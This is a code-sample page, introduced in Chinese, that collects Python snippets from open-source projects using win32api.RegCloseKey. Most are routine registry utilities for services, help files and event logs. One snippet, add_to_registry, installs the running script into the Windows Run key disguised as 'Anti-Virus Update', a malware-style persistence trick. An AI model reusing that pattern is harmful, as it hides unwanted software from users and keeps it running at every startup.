我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用win32api.RegCloseKey()。
def CustomOptionHandler(cls, opts): #out=open("c:\\log.txt","w") print "Installing the Pyro %s" % cls._svc_name_ args = raw_input("Enter command line arguments for %s: " % cls._svc_name_) try: createRegistryParameters(cls._svc_name_, args.strip()) except Exception,x: print "Error occured when setting command line args in the registry: ",x try: cls._svc_description_ except LookupError: return key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s" % cls._svc_name_) try: win32api.RegSetValueEx(key, "Description", 0, win32con.REG_SZ, cls._svc_description_); finally: win32api.RegCloseKey(key)
def RegisterCoreDLL(coredllName = None): """Registers the core DLL in the registry. If no params are passed, the name of the Python DLL used in the current process is used and registered. """ if coredllName is None: coredllName = win32api.GetModuleFileName(sys.dllhandle) # must exist! else: try: os.stat(coredllName) except os.error: print "Warning: Registering non-existant core DLL %s" % coredllName hKey = win32api.RegCreateKey(GetRootKey() , BuildDefaultPythonKey()) try: win32api.RegSetValue(hKey, "Dll", win32con.REG_SZ, coredllName) finally: win32api.RegCloseKey(hKey) # Lastly, setup the current version to point to me. win32api.RegSetValue(GetRootKey(), "Software\\Python\\PythonCore\\CurrentVersion", win32con.REG_SZ, sys.winver)
def GetSubList(self): keyStr = regutil.BuildDefaultPythonKey() + "\\PythonPath" hKey = win32api.RegOpenKey(regutil.GetRootKey(), keyStr) try: ret = [] ret.append(HLIProjectRoot("", "Standard Python Library")) # The core path. index = 0 while 1: try: ret.append(HLIProjectRoot(win32api.RegEnumKey(hKey, index))) index = index + 1 except win32api.error: break return ret finally: win32api.RegCloseKey(hKey)
def UpdateForRegItem(self, item): self.DeleteAllItems() hkey = win32api.RegOpenKey(item.keyRoot, item.keyName) try: valNum = 0 ret = [] while 1: try: res = win32api.RegEnumValue(hkey, valNum) except win32api.error: break name = res[0] if not name: name = "(Default)" self.InsertItem(valNum, name) self.SetItemText(valNum, 1, str(res[1])) valNum = valNum + 1 finally: win32api.RegCloseKey(hkey)
def GetSubList(self): hkey = win32api.RegOpenKey(self.keyRoot, self.keyName) win32ui.DoWaitCursor(1) try: keyNum = 0 ret = [] while 1: try: key = win32api.RegEnumKey(hkey, keyNum) except win32api.error: break ret.append(HLIRegistryKey(self.keyRoot, self.keyName + "\\" + key, key)) keyNum = keyNum + 1 finally: win32api.RegCloseKey(hkey) win32ui.DoWaitCursor(0) return ret
def RegisterCoreDLL(coredllName = None): """Registers the core DLL in the registry. If no params are passed, the name of the Python DLL used in the current process is used and registered. """ if coredllName is None: coredllName = win32api.GetModuleFileName(sys.dllhandle) # must exist! else: try: os.stat(coredllName) except os.error: print("Warning: Registering non-existant core DLL %s" % coredllName) hKey = win32api.RegCreateKey(GetRootKey() , BuildDefaultPythonKey()) try: win32api.RegSetValue(hKey, "Dll", win32con.REG_SZ, coredllName) finally: win32api.RegCloseKey(hKey) # Lastly, setup the current version to point to me. win32api.RegSetValue(GetRootKey(), "Software\\Python\\PythonCore\\CurrentVersion", win32con.REG_SZ, sys.winver)
def FormatMessage( eventLogRecord, logType="Application" ): """Given a tuple from ReadEventLog, and optionally where the event record came from, load the message, and process message inserts. Note that this function may raise win32api.error. See also the function SafeFormatMessage which will return None if the message can not be processed. """ # From the event log source name, we know the name of the registry # key to look under for the name of the message DLL that contains # the messages we need to extract with FormatMessage. So first get # the event log source name... keyName = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s" % (logType, eventLogRecord.SourceName) # Now open this key and get the EventMessageFile value, which is # the name of the message DLL. handle = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, keyName) try: dllNames = win32api.RegQueryValueEx(handle, "EventMessageFile")[0].split(";") # Win2k etc appear to allow multiple DLL names data = None for dllName in dllNames: try: # Expand environment variable strings in the message DLL path name, # in case any are there. dllName = win32api.ExpandEnvironmentStrings(dllName) dllHandle = win32api.LoadLibraryEx(dllName, 0, win32con.LOAD_LIBRARY_AS_DATAFILE) try: data = win32api.FormatMessageW(win32con.FORMAT_MESSAGE_FROM_HMODULE, dllHandle, eventLogRecord.EventID, langid, eventLogRecord.StringInserts) finally: win32api.FreeLibrary(dllHandle) except win32api.error: pass # Not in this DLL - try the next if data is not None: break finally: win32api.RegCloseKey(handle) return data or u'' # Don't want "None" ever being returned.
def CheckPythonPaths(verbose): if verbose: print "Python Paths:" # Check the core path if verbose: print "\tCore Path:", try: appPath = win32api.RegQueryValue(regutil.GetRootKey(), regutil.BuildDefaultPythonKey() + "\\PythonPath") except win32api.error, exc: print "** does not exist - ", exc.strerror problem = CheckPathString(appPath) if problem: print problem else: if verbose: print appPath key = win32api.RegOpenKey(regutil.GetRootKey(), regutil.BuildDefaultPythonKey() + "\\PythonPath", 0, win32con.KEY_READ) try: keyNo = 0 while 1: try: appName = win32api.RegEnumKey(key, keyNo) appPath = win32api.RegQueryValue(key, appName) if verbose: print "\t"+appName+":", if appPath: problem = CheckPathString(appPath) if problem: print problem else: if verbose: print appPath else: if verbose: print "(empty)" keyNo = keyNo + 1 except win32api.error: break finally: win32api.RegCloseKey(key)
def CheckHelpFiles(verbose): if verbose: print "Help Files:" try: key = win32api.RegOpenKey(regutil.GetRootKey(), regutil.BuildDefaultPythonKey() + "\\Help", 0, win32con.KEY_READ) except win32api.error, exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise return try: keyNo = 0 while 1: try: helpDesc = win32api.RegEnumKey(key, keyNo) helpFile = win32api.RegQueryValue(key, helpDesc) if verbose: print "\t"+helpDesc+":", # query the os section. try: os.stat(helpFile ) if verbose: print helpFile except os.error: print "** Help file %s does not exist" % helpFile keyNo = keyNo + 1 except win32api.error, exc: import winerror if exc.winerror!=winerror.ERROR_NO_MORE_ITEMS: raise break finally: win32api.RegCloseKey(key)
def UnregisterHelpFile(helpFile, helpDesc = None): """Unregister a help file in the registry. helpFile -- the base name of the help file. helpDesc -- A description for the help file. If None, the helpFile param is used. """ key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Help", 0, win32con.KEY_ALL_ACCESS) try: try: win32api.RegDeleteValue(key, helpFile) except win32api.error, exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise finally: win32api.RegCloseKey(key) # Now de-register with Python itself. if helpDesc is None: helpDesc = helpFile try: win32api.RegDeleteKey(GetRootKey(), BuildDefaultPythonKey() + "\\Help\\%s" % helpDesc) except win32api.error, exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise
def InstallPythonClassString(pythonClassString, serviceName): # Now setup our Python specific entries. if pythonClassString: key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s\\PythonClass" % serviceName) try: win32api.RegSetValue(key, None, win32con.REG_SZ, pythonClassString); finally: win32api.RegCloseKey(key) # Utility functions for Services, to allow persistant properties.
def SetServiceCustomOption(serviceName, option, value): try: serviceName = serviceName._svc_name_ except AttributeError: pass key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s\\Parameters" % serviceName) try: if type(value)==type(0): win32api.RegSetValueEx(key, option, 0, win32con.REG_DWORD, value); else: win32api.RegSetValueEx(key, option, 0, win32con.REG_SZ, value); finally: win32api.RegCloseKey(key)
def GetServiceCustomOption(serviceName, option, defaultValue = None): # First param may also be a service class/instance. # This allows services to pass "self" try: serviceName = serviceName._svc_name_ except AttributeError: pass key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s\\Parameters" % serviceName) try: try: return win32api.RegQueryValueEx(key, option)[0] except win32api.error: # No value. return defaultValue finally: win32api.RegCloseKey(key)
def _set_subkeys(keyName, valueDict, base=win32con.HKEY_CLASSES_ROOT): hkey = win32api.RegCreateKey(base, keyName) try: for key, value in valueDict.iteritems(): win32api.RegSetValueEx(hkey, key, None, win32con.REG_SZ, value) finally: win32api.RegCloseKey(hkey)
def recurse_delete_key(path, base=win32con.HKEY_CLASSES_ROOT): """Recursively delete registry keys. This is needed since you can't blast a key when subkeys exist. """ try: h = win32api.RegOpenKey(base, path) except win32api.error, (code, fn, msg): if code != winerror.ERROR_FILE_NOT_FOUND: raise win32api.error(code, fn, msg) else: # parent key found and opened successfully. do some work, making sure # to always close the thing (error or no). try: # remove all of the subkeys while 1: try: subkeyname = win32api.RegEnumKey(h, 0) except win32api.error, (code, fn, msg): if code != winerror.ERROR_NO_MORE_ITEMS: raise win32api.error(code, fn, msg) break recurse_delete_key(path + '\\' + subkeyname, base) # remove the parent key _remove_key(path, base) finally: win32api.RegCloseKey(h)
def GetSubList(self): # Explicit lookup in the registry. ret = [] key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, "TypeLib") win32ui.DoWaitCursor(1) try: num = 0 while 1: try: keyName = win32api.RegEnumKey(key, num) except win32api.error: break # Enumerate all version info subKey = win32api.RegOpenKey(key, keyName) name = None try: subNum = 0 bestVersion = 0.0 while 1: try: versionStr = win32api.RegEnumKey(subKey, subNum) except win32api.error: break try: versionFlt = float(versionStr) except ValueError: versionFlt = 0 # ???? if versionFlt > bestVersion: bestVersion = versionFlt name = win32api.RegQueryValue(subKey, versionStr) subNum = subNum + 1 finally: win32api.RegCloseKey(subKey) if name is not None: ret.append(HLIRegisteredTypeLibrary((keyName, versionStr), name)) num = num + 1 finally: win32api.RegCloseKey(key) win32ui.DoWaitCursor(0) ret.sort() return ret
def _watch_thread(self, hive, watchKey, name, callback): self._log("Watch thread active for key: %s" % name, messageType="DEBUG") while self.alive: watchHandle = win32api.RegOpenKey(hive, watchKey, 0, win32con.KEY_NOTIFY) win32api.RegNotifyChangeKeyValue(watchHandle, False, win32api.REG_NOTIFY_CHANGE_NAME, None, False) win32api.RegCloseKey(watchHandle) self._log("Change detected in thread: %s" % name, messageType="DEBUG") callback(name) self._log("Watch thread returning for key: %s" % name, messageType="DEBUG") return
def add_to_registry(self): # add to startup registry hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run") win32api.RegSetValueEx(hkey, 'Anti-Virus Update', 0, win32con.REG_SZ, __file__) win32api.RegCloseKey(hkey)
def _ListAllHelpFilesInRoot(root): """Returns a list of (helpDesc, helpFname) for all registered help files """ import regutil retList = [] try: key = win32api.RegOpenKey(root, regutil.BuildDefaultPythonKey() + "\\Help", 0, win32con.KEY_READ) except win32api.error, exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise return retList try: keyNo = 0 while 1: try: helpDesc = win32api.RegEnumKey(key, keyNo) helpFile = win32api.RegQueryValue(key, helpDesc) retList.append((helpDesc, helpFile)) keyNo = keyNo + 1 except win32api.error, exc: import winerror if exc.winerror!=winerror.ERROR_NO_MORE_ITEMS: raise break finally: win32api.RegCloseKey(key) return retList
def GetItemsCurrentValue(self, item, valueName): hkey = win32api.RegOpenKey(item.keyRoot, item.keyName) try: val, type = win32api.RegQueryValueEx(hkey, valueName) if type != win32con.REG_SZ: raise TypeError("Only strings can be edited") return val finally: win32api.RegCloseKey(hkey)
def IsExpandable(self): # All keys are expandable, even if they currently have zero children. return 1 ## hkey = win32api.RegOpenKey(self.keyRoot, self.keyName) ## try: ## keys, vals, dt = win32api.RegQueryInfoKey(hkey) ## return (keys>0) ## finally: ## win32api.RegCloseKey(hkey)
def _ListAllHelpFilesInRoot(root): """Returns a list of (helpDesc, helpFname) for all registered help files """ import regutil retList = [] try: key = win32api.RegOpenKey(root, regutil.BuildDefaultPythonKey() + "\\Help", 0, win32con.KEY_READ) except win32api.error as exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise return retList try: keyNo = 0 while 1: try: helpDesc = win32api.RegEnumKey(key, keyNo) helpFile = win32api.RegQueryValue(key, helpDesc) retList.append((helpDesc, helpFile)) keyNo = keyNo + 1 except win32api.error as exc: import winerror if exc.winerror!=winerror.ERROR_NO_MORE_ITEMS: raise break finally: win32api.RegCloseKey(key) return retList
def SetItemsCurrentValue(self, item, valueName, value): # ** Assumes already checked is a string. hkey = win32api.RegOpenKey(item.keyRoot, item.keyName , 0, win32con.KEY_SET_VALUE) try: win32api.RegSetValueEx(hkey, valueName, 0, win32con.REG_SZ, value) finally: win32api.RegCloseKey(hkey)
def FormatMessage( eventLogRecord, logType="Application" ): """Given a tuple from ReadEventLog, and optionally where the event record came from, load the message, and process message inserts. Note that this function may raise win32api.error. See also the function SafeFormatMessage which will return None if the message can not be processed. """ # From the event log source name, we know the name of the registry # key to look under for the name of the message DLL that contains # the messages we need to extract with FormatMessage. So first get # the event log source name... keyName = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s" % (logType, eventLogRecord.SourceName) # Now open this key and get the EventMessageFile value, which is # the name of the message DLL. handle = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, keyName) try: dllNames = win32api.RegQueryValueEx(handle, "EventMessageFile")[0].split(";") # Win2k etc appear to allow multiple DLL names data = None for dllName in dllNames: try: # Expand environment variable strings in the message DLL path name, # in case any are there. dllName = win32api.ExpandEnvironmentStrings(dllName) dllHandle = win32api.LoadLibraryEx(dllName, 0, win32con.LOAD_LIBRARY_AS_DATAFILE) try: data = win32api.FormatMessageW(win32con.FORMAT_MESSAGE_FROM_HMODULE, dllHandle, eventLogRecord.EventID, langid, eventLogRecord.StringInserts) finally: win32api.FreeLibrary(dllHandle) except win32api.error: pass # Not in this DLL - try the next if data is not None: break finally: win32api.RegCloseKey(handle) return data or '' # Don't want "None" ever being returned.
def CheckPythonPaths(verbose): if verbose: print("Python Paths:") # Check the core path if verbose: print("\tCore Path:", end=' ') try: appPath = win32api.RegQueryValue(regutil.GetRootKey(), regutil.BuildDefaultPythonKey() + "\\PythonPath") except win32api.error as exc: print("** does not exist - ", exc.strerror) problem = CheckPathString(appPath) if problem: print(problem) else: if verbose: print(appPath) key = win32api.RegOpenKey(regutil.GetRootKey(), regutil.BuildDefaultPythonKey() + "\\PythonPath", 0, win32con.KEY_READ) try: keyNo = 0 while 1: try: appName = win32api.RegEnumKey(key, keyNo) appPath = win32api.RegQueryValue(key, appName) if verbose: print("\t"+appName+":", end=' ') if appPath: problem = CheckPathString(appPath) if problem: print(problem) else: if verbose: print(appPath) else: if verbose: print("(empty)") keyNo = keyNo + 1 except win32api.error: break finally: win32api.RegCloseKey(key)
def UnregisterHelpFile(helpFile, helpDesc = None): """Unregister a help file in the registry. helpFile -- the base name of the help file. helpDesc -- A description for the help file. If None, the helpFile param is used. """ key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Help", 0, win32con.KEY_ALL_ACCESS) try: try: win32api.RegDeleteValue(key, helpFile) except win32api.error as exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise finally: win32api.RegCloseKey(key) # Now de-register with Python itself. if helpDesc is None: helpDesc = helpFile try: win32api.RegDeleteKey(GetRootKey(), BuildDefaultPythonKey() + "\\Help\\%s" % helpDesc) except win32api.error as exc: import winerror if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND: raise
def _set_subkeys(keyName, valueDict, base=win32con.HKEY_CLASSES_ROOT): hkey = win32api.RegCreateKey(base, keyName) try: for key, value in valueDict.items(): win32api.RegSetValueEx(hkey, key, None, win32con.REG_SZ, value) finally: win32api.RegCloseKey(hkey)
def recurse_delete_key(path, base=win32con.HKEY_CLASSES_ROOT): """Recursively delete registry keys. This is needed since you can't blast a key when subkeys exist. """ try: h = win32api.RegOpenKey(base, path) except win32api.error as xxx_todo_changeme2: (code, fn, msg) = xxx_todo_changeme2.args if code != winerror.ERROR_FILE_NOT_FOUND: raise win32api.error(code, fn, msg) else: # parent key found and opened successfully. do some work, making sure # to always close the thing (error or no). try: # remove all of the subkeys while 1: try: subkeyname = win32api.RegEnumKey(h, 0) except win32api.error as xxx_todo_changeme: (code, fn, msg) = xxx_todo_changeme.args if code != winerror.ERROR_NO_MORE_ITEMS: raise win32api.error(code, fn, msg) break recurse_delete_key(path + '\\' + subkeyname, base) # remove the parent key _remove_key(path, base) finally: win32api.RegCloseKey(h)
def infostartup(self): self.isuphandle = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, self.sccss + self.sserv, 0, win32con.KEY_READ) self.isuptype = win32api.RegQueryValueEx(self.isuphandle, "Start")[0] win32api.RegCloseKey(self.isuphandle) if self.isuptype == 0: return "boot" elif self.isuptype == 1: return "system" elif self.isuptype == 2: return "automatic" elif self.isuptype == 3: return "manual" elif self.isuptype == 4: return "disabled"
def changeIEProxy(keyName, keyValue, enable=True): pathInReg = 'Software\Microsoft\Windows\CurrentVersion\Internet Settings' key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, pathInReg, 0, win32con.KEY_ALL_ACCESS) if enable: win32api.RegSetValueEx(key, keyName, 0, win32con.REG_SZ, keyValue) else: win32api.RegSetValueEx(key, keyName, 0, win32con.REG_DWORD, keyValue) win32api.RegCloseKey(key)
def AddSourceToRegistry(appName, msgDLL = None, eventLogType = "Application", eventLogFlags = None): """Add a source of messages to the event log. Allows Python program to register a custom source of messages in the registry. You must also provide the DLL name that has the message table, so the full message text appears in the event log. Note that the win32evtlog.pyd file has a number of string entries with just "%1" built in, so many Python programs can simply use this DLL. Disadvantages are that you do not get language translation, and the full text is stored in the event log, blowing the size of the log up. """ # When an application uses the RegisterEventSource or OpenEventLog # function to get a handle of an event log, the event loggging service # searches for the specified source name in the registry. You can add a # new source name to the registry by opening a new registry subkey # under the Application key and adding registry values to the new # subkey. if msgDLL is None: msgDLL = win32evtlog.__file__ # Create a new key for our application hkey = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, \ "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s" % (eventLogType, appName)) # Add the Event-ID message-file name to the subkey. win32api.RegSetValueEx(hkey, "EventMessageFile", # value name \ 0, # reserved \ win32con.REG_EXPAND_SZ,# value type \ msgDLL) # Set the supported types flags and add it to the subkey. if eventLogFlags is None: eventLogFlags = win32evtlog.EVENTLOG_ERROR_TYPE | win32evtlog.EVENTLOG_WARNING_TYPE | win32evtlog.EVENTLOG_INFORMATION_TYPE win32api.RegSetValueEx(hkey, # subkey handle \ "TypesSupported", # value name \ 0, # reserved \ win32con.REG_DWORD, # value type \ eventLogFlags) win32api.RegCloseKey(hkey)
def InstallPerfmonForService(serviceName, iniName, dllName = None): # If no DLL name, look it up in the INI file name if not dllName: # May be empty string! dllName = win32api.GetProfileVal("Python", "dll", "", iniName) # Still not found - look for the standard one in the same dir as win32service.pyd if not dllName: try: tryName = os.path.join(os.path.split(win32service.__file__)[0], "perfmondata.dll") if os.path.isfile(tryName): dllName = tryName except AttributeError: # Frozen app? - anyway, can't find it! pass if not dllName: raise ValueError("The name of the performance DLL must be available") dllName = win32api.GetFullPathName(dllName) # Now setup all the required "Performance" entries. hkey = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\%s" % (serviceName), 0, win32con.KEY_ALL_ACCESS) try: subKey = win32api.RegCreateKey(hkey, "Performance") try: win32api.RegSetValueEx(subKey, "Library", 0, win32con.REG_SZ, dllName) win32api.RegSetValueEx(subKey, "Open", 0, win32con.REG_SZ, "OpenPerformanceData") win32api.RegSetValueEx(subKey, "Close", 0, win32con.REG_SZ, "ClosePerformanceData") win32api.RegSetValueEx(subKey, "Collect", 0, win32con.REG_SZ, "CollectPerformanceData") finally: win32api.RegCloseKey(subKey) finally: win32api.RegCloseKey(hkey) # Now do the "Lodctr" thang... try: import perfmon path, fname = os.path.split(iniName) oldPath = os.getcwd() if path: os.chdir(path) try: perfmon.LoadPerfCounterTextStrings("python.exe " + fname) finally: os.chdir(oldPath) except win32api.error, details: print "The service was installed OK, but the performance monitor" print "data could not be loaded.", details